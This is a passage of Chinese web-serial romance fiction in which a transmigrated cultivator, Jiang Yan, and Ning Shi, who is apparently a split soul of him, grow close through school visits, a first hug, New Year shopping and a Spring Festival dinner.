……天下的高中生大抵都是这副样子了,宁时想着。 这让他本来略有不安的心放松了些。 宁时自我介绍完毕后,回到了座位上,一面听着老师讲课,一面又观察着这些新同学们。 越看,宁时越是发现,江晏真的和普通的学生不太一样。 宁时也说不出具体是哪里不一样。 也许是江晏的气质,也许是他的笑。 也许是他偶尔神经兮兮地问自己:“如果你去了修真世界,想选择什么做武强?” 宁时忘了江晏为什么会问这个问题——他已经习惯了江晏有些跳脱的思维。 但宁时还记得自己的回答: “应该是一把剑吧。” 当时的江晏明显兴奋起来,一边追问:“为什么是剑呢?” 宁时顺着他的话认真想了想,然后发现……没有理由。 于是宁时便说:“不知道,只是感觉应该用剑……嗯,非要有个原因的话,可能因为剑修听起来很帅吧。” 然后他就看到江晏笑得很灿烂,眼睛中还有揉碎的粼粼阳光。 粼粼阳光闪到了宁时的眼。 宁时回过神来,他坐在S中的教室里。 刚才闪了他眼睛的,自然也不会是江晏了。 而是讲台上沉浸式发挥自己肢体语言的老师,他左手戴的手表反射出的光。 宁时:…… 又是想念江晏的一天呢。 27. 相会 对于宁时而言,只要想做一件事,多的是方法。 他想见江晏。 这个念头在过了几天后愈发强烈起来。 此时,在实验中学的江晏课间收到了来着宁时的消息: “你们下节体育课还是在室外吧?” 江晏看了眼窗外,这是个非常好的天气,隐约可见远处写字楼的屋顶。 于是江晏回复:“应该是,天气不错。” 宁时:“噢噢。” 江晏看着这俩字,心思动了动,写到:“怎么了?” 宁时回给他六个点。 啾啾看见了,对江晏说:“看看,人家都不理你。” 江晏“切”了一声:“哪里,明明是他不好意思了。” 啾啾:“你还能从这六个点看出这个意思啊。” 江晏:“我还不了解我啊,你就等着看吧,我怀疑这孩子要偷偷摸摸找我了。” 事情果然如江晏预料中的一样。 下节体育课,江晏在围着操场跑了两圈之后,靠在阴凉地喘着气。 这时他感到兜里的手机震了下。 江晏快速扫了一眼操场,确认没有什么人注意他这里之后,偷偷摸摸掏出手机。 果然是宁时的消息。 宁时:“你在操场上吗?” 江晏:“嗯。” 他估计宁时十有八九是到操场外面了。 但江晏头也不扭一下。 他要看看宁时到底想干什么。 宁时又来了条消息:“可是我看不见你啊。” 江晏盯着这句话,没忍住,笑出声了。 确实是他自己会办出来的事。 不想那么直接地告诉对方“我来找你了”,这么直接,好像明晃晃地把一颗心放到人前。 这不是江晏和宁时的风格。 而是含蓄的一句“我看不见你”。 啾啾自然也看到了宁时说了什么,它沉默片刻,对江晏道:“我怎么没发现你这么……” 江晏打断了它没说完的话:“咳,你少说两句吧。” 说完,一边从靠着的砖墙上起身,沿着跑道向挨着操场的一侧走去。 啾啾眼看着江晏的步伐从一开始故作慢慢悠悠到后来的小跑,不禁叹了口气。 江晏嘴上说得轻松,实际上对宁时还是上了心。 而且还不是一般的上心。 已经从刚刚来到这个世界时的“把这个世界的任务完成了就走”,到开始关注宁时的生活、想法、心情…… 见过无数大世面的啾啾表示,这种和任务对象真香的情况很常见。 但江晏又不同于这些情况,他和宁时实际上是一个人。 啾啾不禁开始好奇江晏该如何处理他和宁时的关系。 然后啾啾就看到了江晏小跑到宁时面前,各种栏杆,无比自然地搂了下宁时的脖子。 又像安抚小动物一般,揉揉宁时的头顶。 啾啾:…… 虽然不清楚江晏究竟怎么想的,但它感觉自己的眼睛有点被闪到了。 江晏感受着手下蓬松柔软的触感,心满意足地收回了手。 动作间,还能隐约闻到一股陌生的香气,像是薄荷和雪松的味道。 江晏很快反应过来,是宁时新洗发水的味道。 还挺好闻的。 他打量着宁时。 宁家这次应该是来真的了,宁时身上除了那股好闻的香气,衣服鞋子都换了换。 俗话说人靠衣装,江晏确实感觉宁时看起来不一样了。 不过,在江晏把视线移到宁时那张脸上时,还是在心里感慨了一句: 这副看见我就笑的样子可是一点没变。 他看着宁时的眼,宁时也看着他。 在对视中,江晏感觉周围的气氛不那么……正直了。 他感觉自己必须得说点什么打破这含情脉脉的对视了。 于是他干巴巴到:“嗯……新学校怎么样?” 宁时听了,有点委屈:“我们在手机上就聊了啊,地方挺大的。” 江晏:……失策,这就是盲目找话题的下场。 江晏便抛出了第二个问题:“你们今天没课?” 然后江晏看到宁时的眼神一下子飘了。 往左飘往右飘,反正就是不敢和他对视。 江晏:很好,估计宁时又翘课了。 刚才的不自在已经被对宁时翘课的愤怒掩盖,江晏眯了眯眼: “所以你没去上课?” 宁时支吾了一声:“嗯……” 江晏看着他这副心虚的样子,又想起S中那十万的学费:“你们一节课那么多钱啊啊我还没体验你居然翘课!” 宁时:“啊……你也想来S中吗?” 江晏握紧了栏杆:“这是我想来就能来的吗!呃,不对,这不是重点……” “重点是你找我可以,我也去找你,但你不要在课上找我嘛!” 宁时看起来很乖巧地“嗯”了一声,又道:“我们这节也是体育课。” 江晏被噎了一下。 但他很快反应过来:“反正就是乖乖上你的学去,下不为例。” 宁时又“哦”了一声。 操场远处传来男生们踢球的欢呼声,江晏看了眼手表。 这节课已经过去了一半多,还有十五分钟下课。 江晏便隔着栏杆,把手表举到宁时眼前给他看:“都这个时候了,你过来花了多久?” 宁时往身后一指,江晏看到了几辆歪歪斜斜的共享单车:“骑车十五分钟。” 江晏回想了下自己在手机上查的位置,确认了宁时没有假报时间。 一旁,宁时好像看出了江晏在想什么,道:“嗯,我准备回去了,赶上下节课。” 他这么主动而乖巧,江晏反而不知道说什么了。 江晏甚至已经做好了陪宁时磨叽半天的准备。 眼前,宁时的身体已经微微侧过去了,这是一个准备转身离开的姿势。 江晏觉得自己得说点什么了。 小孩一个人孤零零地找自己,隔着栏杆和自己说话。 而自己说了什么呢?只是劝他好好上学。 后面还画了要去看对方的大饼。 江晏这么一想,感觉自己多少太扫兴了。 于是,他在宁时转身前开了口: “你来看我,真是个惊喜。” 江晏看到宁时的脚步顿住了,他的眼睛比刚才还要亮。 江晏不习惯说这种感情浓烈的话,刚刚的话说出口,自己也觉得别扭。 可不知道是不是宁时的目光太亮了,江晏看着宁时的眼睛,居然感觉后面的话渐渐顺了。 “见到你我很开心。” 宁时听了,嘴角动了动,最后露出了一个堪称有点腼腆的笑:“嘿嘿”。 得到了江晏的回应,宁时明显快乐起来。 江晏又 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果然,宁时语气中带了点说不出的味道:“没换呢,所以是有什么活动需要我出来吗?” 江晏听着他平稳的呼吸,几乎能想象出宁时期待得很却故作平静的样子。 “嗯,我在你们学校门口,要不要一起来吃个夜宵?” 不出江晏所料,那边的声音一下激动起来,还掺杂了些硬物碰撞的声音,估计宁时是站起来了: “要——等我一下我马上过来啊!” 江晏听见耳机里传来了关门声,脚步声,和越来越明显的呼吸声。 宁时这样,搞得他自己也渐渐激动起来。 几分钟后,江晏远远地看到宁时大步向自己走来,最后几步成了小跑。 他有点恍惚了。 明明第一次见面是那么高冷的样子。 现在简直想是向主人飞奔过来的快乐小狗。 江晏被自己的想法震惊到了。 他甩甩头,试图忘记这个想法,一边对着刚刚走出校园门禁的宁时指了指旁边的自行车。 “扫个车,去吃烧烤。” …… 总之,宁时上S中后的日常就变成了这样: 去找江晏,或者等江晏来找。 以及没事就给江晏发消息,打电话。 江晏觉得这孩子越发黏人了。 他对啾啾说:“给他打电话打得我手机都快变成暖手宝了。” 啾啾:“……你这看起来嫌弃但暗戳戳又带了一丝炫耀的语气是怎么回事!” 江晏:…… 然后他觉得宁时这么大的男孩子,确实过于黏糊了。 于是江晏又对宁时说: “你们不查手机的吗?一天天的给我打电话,我差点被收了手机好嘛。” 江晏刚发出去,接着就对自己手机上立即弹出的通话界面无语了。 他大力按下接通键。 宁时的声音很好听:“晏晏,我们确实不管手机的啊。” 江晏:“……” 宁时从沉默的话筒终于感到了一丝威胁:“江哥,哥!我错了,别挂——” 江晏干脆地按下了挂掉。 开玩笑,晏晏也是能随便叫的吗? 没大没小的。 28. 拥抱 江晏怀疑自己最近被宁时拿捏住了。 一切的起源还是那句“晏晏”。 自从他挂了宁时的电话后,宁时就万分可怜地给他道歉。 但道歉内容全是说自己不应该总拿着手机。 没有丝毫提起“晏晏”的苗头。 可江晏更不可能自己提。 他严重怀疑宁时是故意的。 就这样,江晏不提,宁时也不提,那挂电话事件的面上原因就只有手机使用过度了。 江晏还不能只为了这件事不理宁时。 于是,在宁时发来一连串“道歉”消息后,江晏不得不对他进行了一番安抚。 然后自己躺在床上生闷气。 啾啾:“不是,你直说啊。” 江晏的声音有点飘渺:“……不,太羞耻了。” 啾啾疑惑:“晏晏这两个字哪里羞耻了?” 江晏捂脸:“不,你个神器是不会懂的……” “这两个字无论是由自己,还是由自己的灵魂,再或者由朋友喊出来都很羞耻啊——” 啾啾听了,沉默片刻,道:“其实吧,我觉得朋友说出来没必要羞耻。” “所以是你道心动摇了吧啊喂!” 江晏猛地放下捂脸的手,否认三连:“我不是我没有,别瞎说。” 看穿了一切的啾啾:“呵呵。” 晏晏事件到此还并没有结束。 与江晏想象中相反,这才是一个开始。 万事开头难,有一就有二。 此后,江晏无数次听见宁时在语音中、在电话中有意无意地喊“晏晏”。 一开始江晏还抗议了。 “多大的人了,还用叠词,肉麻不。” 然后宁时态度极为良好地认错了,并改口“江哥”。 江晏起初是比较满意的。 然后他发现了宁时认错良好但丝毫不改的本质。 江晏在一次又一次的纠正中渐渐心累了。 也确实如啾啾预料中的一样,江晏对于纠正“晏晏”这个称呼渐渐随意起来。 终于有一天,宁时叫“晏晏”的时候,江晏没有反驳。 然后啾啾看到了宁时眼中流过了一抹笑。 是有点狡黠的笑。 啾啾:…… 没治了,江晏你就拿着你的“男主在拯救自己少年体时与另一个自己建立了跨时空的友谊”剧本吧。 时间总是过得很快。 宁时渐渐适应了在S中的生活。 这里的日子还算平静,没有宁瑜带来的麻烦。 估计是被宁陟岳和代玉兰警告过了。 而且S中只有高中部,每个年级分开,宁时几乎不会碰见宁瑜的。 只有那么一次,是宁时在学校小超市里买薄荷糖,当他拿起那管糖抬头时,正好和旁边刚刚拿了一袋薯片的宁瑜目光对上了。 这应该算是消除笔事件之后,两人第一次见面。 宁时盯着他。 宁瑜看起来已经完全忘记了自己是怎么用消除笔坑宁时的事。 他只知道宁时被父母送到了S中,是从前家里只有自己能读的学校。 宁瑜扫过宁时手中的薄荷糖。 他知道那是十块钱一管的,放在从前,宁时是舍不得买的。 宁瑜又从头到脚扫视了宁时一遍。 在见到宁瑜的一瞬间,宁时本来是想拽住他的领子,质问联考消除笔的事。 但他看着宁瑜的神情,又渐渐觉得消除笔事件没有那么重要了。 宁瑜已经完全忘记了,就像他从前顺手所做的无数恶事一样。 再提起,反而显示这件事给自己多大伤害一样,在气势上就输了。 宁时只觉得现在对宁瑜没什么好说的了。 他忽然想起很久很久之前,他还在王丰家里当唯一一个孩子的时候。 上幼儿园的宁时被同学嘲笑背的书包上面的图案旧了。 宁时很委屈,回家了给王丰告状。 王丰就如同大部分父母一样,道:“你别管他们说什么啊,无视他们。” 一种安慰了又没有安稳的感觉。 小朋友是不会理解这句话的。 但这句话穿越了十来年的光阴,这一瞬间,宁时似乎理解了它。 王丰不是从前的王丰了,宁时也不是从前的宁时。 一切都变了。 宁时平静地看着宁瑜越发扭曲的脸,转身就走。 在他转身迈出步子的瞬间,身后传来了宁瑜愤愤的声音: “你别得意得太早!” 宁时想笑,他有什么可得意的呢? 他想要的,和宁瑜想要的从来不是一种东西。 于是他脚下毫不停顿,向门口走去了。 …… S中的老师确实水平不错。 加上宁时自己的努力,他的成绩以一种稳定的速度增长。 宁时的成绩为他在宁家争取到了愈发大的自由。 比如,在这个寒假,宁时以“长期见不到好朋友影响心态”的原因,成功住到了江晏家。 对此,江晏评价:“厉害。” 又忍不住好奇,凑到宁时旁边问:“过年也在我这里吗?” 宁时平静道:“嗯。” 江晏踢了下宁时坐着的椅子:“还装呢,这么淡定啊?” 宁时便破功了,他扶着旁边的书桌,笑了:“我想想就很期待。” 江晏见此,也“嘿嘿”乐了两下,又问: “……你是怎么说服家里的?” 宁时一摊手:“本来吧,我们就不太熟,也不会管我太过。” “而且我现在成绩比宁瑜好太多了,他们可能对我给予了厚望吧。” “虽然急着让我回来,但也不敢逼我太过。” 江晏给他比了个大拇指:“你真刚啊,哥。” 宁时就又笑了:“你叫我哥?” 江晏摆摆手:“随便吧,乱叫。” 宁时把江晏的手按下去:“所以你生日到底是什么时候呢?你之前都不肯告诉我。” 实际上是没有编好出生日期的江晏:“……” 他呼唤啾啾:“你给我的证件上是什么时候的来着?” 旁边,宁时还在念叨着:“我是九月三十,你呢?” 这时,啾啾终于出声了:“你上上心吧!是阳历的一月二十二。” 江晏便连忙道:“是一月二十二。” 宁时的表情僵了一下,问:“农历的?” 江晏:“……不,是阴历的。” 宁时的脸更僵了。 江晏有点形容不出来此时宁时的脸色了。 看起来很震惊,懊恼,还有几分委屈和气愤。 宁时把手机按亮,举到江晏面前,拉长了声音:“哥——你看看这都几号了!” 江晏定睛一看 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果然,宁时一下子往前倾,瞬间拉进了和江晏的距离:“你不会是讨厌我吧?” 江晏只觉得整个头都大了:“怎么可能!你在瞎想什么!” 宁时控诉:“可是你不告诉我你的生日。” 江晏也有点急了,他不由自主地也往前倾身:“我是真的忘了啊——” 这个距离,江晏能看到宁时的眼尾又有点红了:“你是不是嫌弃我……嫌弃我喜欢你?” 江晏闻言差点从椅子上弹起来。 这让他怎么接话! 不嫌弃,但请你不要喜欢我了? 江晏深吸一口气:“宁时同学,我想你是对自己情感误会了。” “你喜欢我什么地方呢?是因为我把你拽回来吗?” “可那换一个人也可以的。” 宁时猛然抬起头:“你说的可能对。” “但实际上,除了你,没有第二个人了。” 明明是堪称严肃的场合,但江晏听到宁时这句话时,心里微微动了一下。 宁时还在说:“我不小了。” “还不至于分不清爱和感激。” 江晏听得脑瓜子嗡嗡的,宁时这是彻底把窗户纸捅破了:“你这样我怎么和宁家交代!” 宁时:“干嘛给他们交代。” 一旁,啾啾还在煽风点火:“嗯?你不是之前说实在不行就惯惯小孩吗?” 江晏无力道:“……这不是想再挣扎一下嘛。” 宁时听不见江晏和啾啾的对话。 他只知道江晏好像有些愣神。 在这么一个不该愣神的时候愣神。 宁时看着江晏雪白的侧脸,突然脑子一热—— 一把抱住了江晏,并把自己的下巴埋到了江晏的颈窝里。 皮肤相贴的地方,微微有点凉,又很细腻。 宁时半搂着江晏,感觉他有点瘦,后脊柱上能摸到骨节凸起的轮廓,略有些硌手。 宁时的内心被一种巨大的满足、喜悦、忐忑、悲伤冲刷了。 他大脑几乎失去了思考的空间。 但在这激烈的情绪中,宁时隐约意识到一个事实: 江晏暂时还没有推开他。 29. 采购 其实此时的江晏非常纠结。 推开宁时吧,可宁时也没有做什么过分的动作。 不推开的话,这样的姿势又太亲密了些。 江晏很快下定了决心。 他开始在心里默默数数。 江晏决定,如果在自己数到十的时候,宁时还不放开他,就要主动把宁时推开了。 一,二,三…… 江晏一边数着,一边想,宁时的手有点热乎。 这股热气顺着宁时按在他后背的位置,透过了衣服,往血肉下面钻。 在冬天,这种感觉其实还是有点舒服的。 但江晏不太自在。 他忍住了动一动的想法,继续在心里数数。 四,五,六…… 宁时抱了他又一段时间了。 江晏开始感觉脖子下面有点疼。 他花了半秒钟意识到,那是宁时的下巴和自己的锁骨怼在了一起。 江晏:…… 他不知道宁时的感觉。 但这种感觉,对于从未和别人有过如此亲密接触的江晏来讲,还是挺新奇的。 七,八,九…… 宁时依然只是抱着他,没有什么多余的动作。 但江晏开始感觉时间过得漫长了。 他深呼吸了一口气——宁时到底有完没完! 江晏已经开始设想自己过一秒钟推开宁时的一百种方式了。 是趁宁时不注意,迅速地挣脱并拉开距离呢? 还是稍微动一动,提醒他该松手了呢? 那么,宁时松开手之后,他接下来会说什么呢? 就在江晏胡思乱想之际,宁时把手放下了,慢慢回到自己原来的位置,坐正。 江晏:…… 宁时拥抱他的时间不仅堪堪卡在了十秒上,也刚刚卡在了他忍耐力的边缘。 江晏有点庆幸,毕竟自己不用亲自动手推开宁时了。 但又有点失落,不是对宁时松开自己的失落,而是对“自己预想了把宁时扒拉开的种种动作但宁时根本没给自己发挥机会”。 除此之外,还有一点隐秘的喜悦。 江晏意识到了,还意识到这种不易言明的喜悦来自于宁时的“默契”。 宁时拥抱他的时间,和自己预计的最长时间一样。 果然是自己的分魂。 身前,宁时还没有说话,江晏便向啾啾分享了这个发现: “我刚才想着数十下他不撒手就推他,结果他卡点抱了我十秒!” 啾啾:“你现在这个语气和状态,我不好说什么……” “但我想说,你要完了,栽了。” 江晏:“哈?” 他准备让啾啾好好解释一下“你要完了”。 此时,身前的宁时说出了他们第一个拥抱后的第一句话: “所以什么时候让我给你补一下你的生日?” 江晏差点笑了。 这是在顾左右而言他,转移话题呢。 但如果真扣着这个拥抱,也不好说。 总不能说“我不高兴你抱我”。 江晏略微思索后,决定默契地翻牌,顺着宁时的话说下去:“哪里有补生日的?” 宁时便怏怏地“哦”了一声。 江晏见不到他作柔弱状的毛病又犯了,没忍住:“嗯,明年可以,往后的机会还多着呢。” 宁时的眼睛便又亮了起来。 江晏:…… 他真的感到没办法。 窗外的天色亮了又暗了几个轮回,江晏和宁时的学校都放了寒假。 他们又可以窝在一起了。 窗外再次飘起了雪花。 这是今年的第二场雪。 不出意外,这场雪会停留在地上很久,从旧年入新年。 这个时期,二人的成绩已经稳定了很多,江晏终于不用像刚进入这个世界时那么焦虑了。 于是他们有了更多时间腻歪在一起。 在距离除夕还有一周时间的时候,江晏提议去采购年货。 对于这件事,他期待很久了。 从前在原世界,江晏做凡人时失忆了,没有过年的记忆。 等到了在合江宗生活的时候,反而不怎么过年了。 一只脚踏进了修真界,就意味着从此离万丈红尘越来越远了。 为了保持心境,清除杂念,许多门派都是不提倡弟子们过凡间的节日的。 虽然依然有很多小弟子在过节时偷偷跑出去就是了。 但是江晏一边不会跟着跑出去。 主要是江晏太懒了。 懒得动,懒得悄咪咪摸下山,懒得被师傅发现迫不得已认错。 于是江晏在合江宗长辈眼中是一个乖小孩。 可到了这个世界,面对春节,江晏有点报了“来都来了,不看有点亏”的心态。 甚至越来越迫不及待了。 于是就有了江晏提议去买年货的事情。 宁时听了他的提议后,又看着明显激动的江晏,缓缓道:“……你是不是没有买过年货?” 江晏连连点头:“嗯嗯!你怎么看出了的。” 宁时扶额:“怎么会有人还没有……”转而想起了什么,道“算了算了。” 啾啾小声给江晏解释:“他又把你当成家道中落的小少爷了。” 宁时看起来真的是这样想的。 他甚至手把手地和江晏一起写采购单。 江晏看着宁时在手机上敲敲打打,然后时不时问一下他写下的东西是什么。 终于,在宁时打下“猪肉”“面粉”“姜”等一串材料后,江晏奇到:“买面粉干什么?” 宁时震惊地抬头。 江晏还无知无觉地说:“你要蒸馒头吗?” 宁时放下手机,看着江晏:“不是,包饺子啊。” 江晏回想起了前一阵和宁时在超市里见到的冰柜,道:“不是有现成的饺子吗?” 他努力思索着:“上次在冰柜那边还见到了,叫什么……对,速冻饺子。” 宁时发出尖锐的爆鸣。 江晏对啾啾疑惑道:“他这是怎么了。” 啾啾言简意赅:“你们的代沟。” 其实也能理解。 作为一个古代人,即使是修了仙,但修真界明显还没有“全自动包饺子法术”,江晏自然会觉得速冻饺子新鲜。 但作为一个现代人,宁时对速冻饺子的理解就不一样了。 甚至可以这么讲,宁时买了方便面,孙秀兰会说加个蛋还有营养;宁时买了速冻饺子,孙秀兰只会说他有毛病。 在啾啾给江晏解释的空隙,宁时渐渐平静下来。 通过速冻饺子一事,宁时再次无比确认购置年货准备年夜饭的事情大部分落在了自己头 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宁时又看了一眼身边的江晏。 ……江晏正在仔细研究硅胶锅铲。 无论如何,宁时意识到,节日之所以是节日,是因为和在意的人在一起。 和江晏在一起。 宁时的思维还在天马行空,江晏已经研究完了这不是用铁制的厨具。 江晏打算继续往前走采购。 超市里人太多了,两人拿的小推车又旧了,一个轱辘不甚灵活,导致推车一不小心就偏离了轨道。 江晏不得不腾出一只手来扶着。 人只有两只手,江晏的另一只手还在被宁时拉着。 喜气洋洋的音乐和人声包裹了他们。 人的声音一出口,还来不及传到对方耳朵里,就已经在空气中散开了。 如此,江晏要想提醒宁时继续走,只能在手上动作了。 江晏便微屈食指,轻轻挠了一下宁时的手掌。 果然,宁时转过头,嘴巴张合了几下。 江晏没有听清。 他又开始怀念修真界了。 但在此刻,江晏只能对宁时指了指自己的耳朵,又摇了摇头,示意没听清。 宁时看懂了。 然后他露出了一个江晏理解不了的笑容,凑了过来。 这下,两人之间的距离一下子近了,不过三十厘米的样子。 宁时在这个距离,对着江晏的耳朵,又重复了一遍刚才的话。 这下子,江晏确实听清楚了。 宁时说的是“你挠我干嘛”。 但听清归听清楚,江晏感觉,宁时未免也靠得太近了。 宁时刚才说话间,一股股气流便轻轻扑在自己耳朵上。 有点暖,也有的痒痒。 心脏也砰砰跳,有一种不安。 但这种不安也是平和的,像是潮湿的春泥下,有什么东西在生长。 江晏没有喜欢过什么人。 也不会知道见到喜欢的人是什么反应。 但在很多很多年之后,江晏也会后知后觉地回想起这一刻。 心动之后,他和万千世界有了联系。 30. 春节 两个小时过后,宁时和江晏拎着几个大袋子走出了超市。 江晏手中的袋子被撑得鼓鼓的,露出一角绿色的包装袋——是一袋柠檬味的薯片。 这个世界上有太多江晏没有见过的东西了。 江晏都很感兴趣。 当然,宁时也在他“没有见过的东西”范畴内。 江晏在这个世界生活的时间渐渐久了,最初来到时的焦虑已经少了很多。 分魂收集是一个很漫长的事。 他着急也没用。 回得回不去原世界还是未知,只有他现在的经历才是真的。 用啾啾的话说,就是: “谁知道你现在真正的身体是个什么情况。魂魄一出岔子,一切百搭。” 江晏觉得颇有道理。 他打算适当对这个世界多投入一些感情了。 毕竟如果随时可能死掉的话,还是对生活认真一些吧,江晏想。 即使这个世界不是他所习惯的。 但是他自己的分魂也在,也算是江晏和这个世界为数不多的联系。 江晏看着面前川流不息的车。 一边是亮红的尾灯,一边是惨白的头灯。 颜色交错,让傍晚的世界更迷幻了。 江晏有点晃神。 他脑海中有无数思绪探出了触角,想要说什么。 但却好像又被一层油纸糊住了。 触角们在油纸下扭曲,挣扎,向上下左右伸展,寻找出路。 江晏莫名有些烦躁,他轻轻叹了口气。 余音很快湮没在嗡嗡的发动机声中和积雪的空隙里。 这声叹息应该像一片雪花融化一样无声无息。 但还是有人听见了。 于是江晏身侧多了只手,然后他自己手上的塑料袋被接了过去。 江晏回神,侧过脸看去,是宁时。 宁时的鼻尖被冻得有些红了,他正在用询问的眼神看着江晏。 江晏:“……没事。” 他又看向宁时的手。 在接过又一个袋子后,宁时现在拿着三个大袋子。 手指挨着提带的地方已经泛白了。 江晏冲他伸出手:“给我,你拿得下啊。” 宁时没有动:“拿得下,看你拿不动。” 其实江晏知道这是一句关心的话。 但是剑修不合时宜的好胜心,一瞬间让江晏怀疑宁时是不是在说自己力气小。 于是江晏一把从宁时手中接过东西:“拿得动。” 宁时:? 不知为何,宁时感觉刚才江晏的语气中带着一丝丝不明显的杀气。 但江晏看起来有很正常,甚至有心情揉了一把宁时的头发。 宁时便放下了刚才的疑惑。 他们这样打打闹闹地回到了家。 这次去超市,宁时还买了些排骨和肉馅。 素菜荤菜,主食零食,种类非常之丰富地堆在家里。 江晏看着这一摊,开始感觉头大了。 这可怎么收拾呢。 于是江晏撕开了那袋柠檬味的薯片,打算先吃点东西缓缓神。 薯片太好吃了,江晏一不留神,垃圾桶里已经多了两个空袋子。 当第三次嘎吱嘎吱的塑料袋声音响起后,江晏听到宁时幽幽的声音从背后传来: “照你这个速度吃下去,怕不用等到过年,我们后天就再得去趟超市。” 江晏回头,看到宁时拿着一袋面粉站在身后。 江晏笑了:“你这么小气啊。” 宁时也笑着白了他一眼:“哪次没有让你吃了”,一边把那袋面粉拿去厨房了。 江晏在把第三袋薯片吃完之后,终于良心发现,去厨房找宁时了。 宁时正在把买回来的肉馅分成几个小袋,一一打包。 江晏试图帮忙。 啾啾出声阻止:“你算了吧,你什么时候干过这个啊——我就说是吧!” 江晏因为触摸到了生肉,迅速收回了手。 啾啾:“别勉强自己了,啊。” 江晏偷偷瞄了眼宁时。 宁时正在把装上肉馅的袋子摊成适宜放在冰箱冷冻层的形状。 十分专注,长长的睫毛随着他手上的动作一扇一扇的,接住了房顶落下的灯光。 啾啾拖长声音“喂”了一声。 江晏便回过神来,不自在地别过脸 ——啾啾刚才的提醒让他有点心虚。 要是还在修真界,江晏还能端着一副面无表情世外高人的样子,可是,在这个世界他过得有点自在了。 便没了那么多伪装。 人在尴尬心虚时会看起来很忙。 于是,江晏在意识到自己做了什么之前,右手已经挨上了一块要分装的肉馅。 江晏:…… 虽然肉好吃,但这个滑滑的触感有点恶心。 他故作镇定地给肉馅套袋子。 几秒过后,一只修长的手接过了他手上的东西。 是宁时。 宁时站在江晏旁边,似乎比刚才离他更近了:“你去玩吧。” 江晏:? 也许是他眼中的疑惑太过明显,宁时又解释了一下:“我收拾起来更快。” 江晏慢吞吞地应了一声。 宁时确实说得没错,他收拾得很快。 采购的物品已经归置到了屋子各处。 江晏想,看来自己是帮不上什么忙了。 他便看着宁时收拾。 看着他的身影出行在家里各处。 看着他打开冰箱时线条凸起的手臂。 和窗外的车灯。 江晏就突然想起了自己记忆中保留的为数不多的关于人间的画面。 想来凡人间的红尘万丈,不过如此了。 …… 过年前的一周,宁家依然找了宁时几次。 软磨硬泡之下,宁时最终大年初一要回到宁家。 江晏知道了,笑道:“记得给他们拜年,拿几个大红包回来。” 直接把准备emo的宁时噎住了。 宁时看着江晏,嘴角抖了抖,再开口时声音也带了笑意:“嗯,我到时候见人就拜。” 江晏发出狂笑。 无论宁家的想法如何,今年,他们至少还能在一起过小年。 临近年关,路上的车越来越少,空气都变得安静下来。 有时候,安静到江晏只能听到宁时的呼吸声。 在大年三十,他们睡到了自然醒。 但由于平时起得早,所谓的自然醒,不过也是早上九点而已。 江晏把压在宁时胳膊底下的毛毯一角扯起来,一边问:“先贴对联再准备饭?” 他的声音还带着刚醒来的鼻音,听起来比清醒时更加可爱。 宁时自然道:“嗯,我们大概到下午包饺子吧。” 他们又在床上摊了许久,才起身。 啾啾给江晏安排的住处在顶楼,两人出门贴 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大半个白天,在城市稀稀拉拉的炮声中,他们贴了对联,包了饺子,做了年夜饭。 江晏本来没有人间过年的记忆,可跟着宁时把这么一套流程顺下来,也逐渐感觉到几分熟悉。 估计和他那部分和分魂一起丢失的记忆有关。 念及此处,江晏忍不住又看了眼宁时。 好好奇分魂拥有的那部分记忆哦。 可江晏现在还没有收集到分魂的碎片。 他自然也不会知道。 天色渐渐暗下来,冬天的日子总是过得如此快。 他们把蒜蓉虾、糖醋排骨等饭菜端到了阳台上。 在这里,也许能看到烟花。 头顶是深蓝色的天,隐约有星辰闪烁。 近一些的地方,是鳞次栉比的楼房,楼房外面是暗的,里面是亮的。 一个个方方正正的小窗亮起来,白色的,橘色的,还有小彩灯闪来闪去的。 江晏下意识地看了眼自家阳台的灯。 是白炽灯。 他又看了眼窗子,嗯,是蓝色的玻璃。 那在今晚,他和宁时是这个城市万家灯火中的蓝色。 阳台没有窗帘,玻璃和瓷砖被外面的冷气冻着,比暖气的温度冷了很多,江晏手刚挨上去,就缩了回来。 宁时起身,往卧室里走了一趟。 再回来时,他抱着江晏在这个冬天新买的小毛毯。 江晏:“怎么拿了个这么大的。” 宁时理直气壮:“一起盖着啊。” 江晏很想反驳,但宁时已经流畅地坐到了他身边,把毛毯搭在两人腿上,再打开了春晚直播。 一套动作行云流水,江晏甚至没来得及拒绝。 他愣了愣,面前饭菜的香气又只往鼻子里钻。 江晏心想,算了吧,孩子爱怎么样就怎么样吧。 在热闹的春晚声音中,江晏和宁时打开可乐,碰了下杯。 玻璃杯中液体摇晃,宁时的面孔在倒映在里面,眼中流光莹莹。 江晏把视线从玻璃杯中挪到宁时脸上。 月色和灯火中,宁时又对江晏举起杯子:“又是一个新年了。” “这应该是我过得最快乐的年了。” “年年有今日,岁岁有今朝。” 31. 真心话 春晚还在继续。 江晏和宁时快乐地吃完了糖醋排骨和其他几个菜。 还有一条鲤鱼,鱼腹上的肉才被吃了一点。 江晏伸了个懒腰:“吃不了了,要剩下了。” 宁时闻言,夹给江晏一个饺子:“年夜饭就是要剩下一些,快吃饺子,都还没吃到隐藏款呢。” 虽然跨越时空,但江晏这次无师自通地意会到了宁时的意思: “你往里面放了硬币?” 宁时:“嗯,五十个饺子,放了两个。” 江晏:“正好你一个,我一个。” 宁时不置可否地笑了笑:“我吃了十个了。” 江晏:“那你这运气有点撇哟。” “我才吃了五个呢,这是第六个。” 说完,夹起宁时给他的饺子就往嘴里送。 宁时抬起手:“……你慢点,轻点嚼……” 话音为落,江晏听见脑中嗡了一声,随之而来的是牙齿下出现的巨大阻力。 他用舌尖舔了舔阻力的来源——一枚硬币。 是刚刚宁时给他的饺子。 江晏把硬币吐出来,翻看了下,用纸擦着,颇为好笑:“你……你啊,多大的人了啊。” 宁时作乖巧状。 江晏只感觉他身后要是能长出尾巴,那一定是高高地翘着,疯狂摇着。 江晏还能说什么呢。 他有再多的顾虑和不确定,也于此刻,隔绝在这方天地之外了。 在明明暗暗的各色的烟花中,江晏吸了口气。 他说:“感谢小宁时给我的好运!” 宁时就又笑了。 手机里,晚会还在继续。 江晏看了一会儿,发现没有字幕影响了自己的听力。 再加上窗外断断续续的放炮声,即使是把音量调到最大,也听不太清楚。 他觉得有必要找点其他好玩的项目了。 于是便抬头看了眼宁时——和宁时的视线撞上了。 江晏一看他这副表情,简直不知道自己被他偷看了多久。 江晏只假装没有看到,又把视线挪回了手机上。 手机却突然被另一只手扣下了,屏幕向下,把附近的瓷砖染上了一圈彩光。 阳台上暗了下来。 与此时,江晏升起了什么预感。 他看着宁时用刚刚按下手机的左手拉了把椅子,往自己身边挪了挪。 出于某种不知名的原因,江晏没有动。 然后宁时微微倾过来身子,嘴唇动了动。 